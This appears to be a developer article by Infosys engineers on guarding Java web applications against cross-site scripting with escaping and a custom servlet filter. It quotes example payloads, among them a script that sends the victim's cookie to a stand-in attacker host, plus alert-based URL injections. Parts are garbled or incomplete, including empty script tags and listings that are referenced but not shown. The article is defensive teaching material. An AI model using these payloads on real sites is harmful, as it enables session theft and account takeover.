Use client-side validation and server-side filtering to guard your Java web application against cross-site scripting attacks.
If you develop Java-based web applications, you can use a filter to intercept and modify the user's request and response. Specifically, you can use server-side filtering to prevent malicious coders from requesting parameters and cookies. This article explains how to create and implement a custom filter that can guard against the various types of cross-site scripting attacks.
Types of Cross-site Scripting
There are three types of cross-site scripting attacks:
In a persistent cross-site scripting attack, the server saves the attacker's script code and then displays it on user pages. For example, many sites offer comments sections where users post comments, which the sites stored in databases. Normally, a user is tracked by session ID cookie. An attacker can add a script to track user cookies using the comments section. For example, the following script tracks user's cookie details.
<script>document.location= 'http://www. attackerhost/crack.html?'+document.cookie</script>
In a non-persistent cross-site scripting attack, the attacker's script code is added by the user's query parameters or HTML form submissions. The server adds this script in the user request page and sends it back to the user without proper response validation. Here is an example of a script for getting user cookie details through a URL:
< script >
</ script >
This page will use the value from the "user" parameter in the following manner.
http://www. examplesite /welcome.html?user=siva
An attacker can abuse this by luring the client to click on a link like this:
http://www. examplesite /welcome.html?user=<script>alert(document.cookie)</script>
Client-Side Validation for Cross-Site Scripting
Use the following, fairly simple methods to eliminate cross-site scripting vulnerabilities.
- Escaping Escape all untrusted data using a method appropriate for the output content. Here are the different escaping schemes for validating untrusted characters:
- HTML numeric entity encoding
- CSS escaping
- URL encoding
The next page explains how to use these techniques.
Client-Side Protection: Removing Malicious Characters
To help prevent attackers from running cross-site scripts on client side, you can remove malicious characters from request parameters and cookies. The following steps will accomplish this:
- Identify malicious characters, such as <, >, (, ), and %, in parameters and cookies.
- Filter out the malicious characters from the parameters or cookies.
For example, the following request header for the URL http://www.examplesite/welcome.html?user=siva has cross-site scripting in the parameter 'user'.
GET /www.examplesite /welcome.html?user=siva>%22%27><img%
Cookie: JSESSIONID="1658AFD202313272EB979A90E96B3A3D ";
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:184.108.40.206)
After the user sends the request, the server-side filter will remove all malicious characters from the parameter, avoiding cross-site script execution on client side and thereby sending a secured response to the client.
Filters are processed based on the declared order in their deployment descriptors. So, to declare a filter for the current example, you would place the following filter (crossSite) on top of all other filters in the deployment descriptor (web.xml) of web application.
This filter mapping calls all requests using the URL pattern
A Custom Filter
The custom filter in Listing 1 will remove the untrusted characters from requests and cookies using the HttpServletRequestWrapper class, which is used to wrap the user's request (wrapped request object). Based upon the user's request to get the parameters or cookies, this wrapped request object removes the unsafe characters from the request and returns the response to the client. The wrapped request contains the trusted character for further processing.
Server-Side Protection: Implementing the Filter
The following steps implement the server-side filter in your web application.
- Add the compiled RequestFilter class in the
WEB-INF/classes folder of the web application.
- Add the filter declaration in the deployment descriptor (web.xml).
With the techniques you have learned here (client-side validation and server-side filtering), you are ready to combat cross-site scripting in your Java-based web applications.
About the Authors
Sivakumar Kuppusamy is a product technical lead with product incubation engineering at Infosys, involved in the design and development of Java EE applications.
Ramasubramanian Thiyagarajan is a technology analyst with product incubation engineering at Infosys, involved in the design and development of Java EE applications.
Vijayasaradhi Paramakusum is a technology lead with product incubation engineering at Infosys, involved in the design and development of Java EE applications.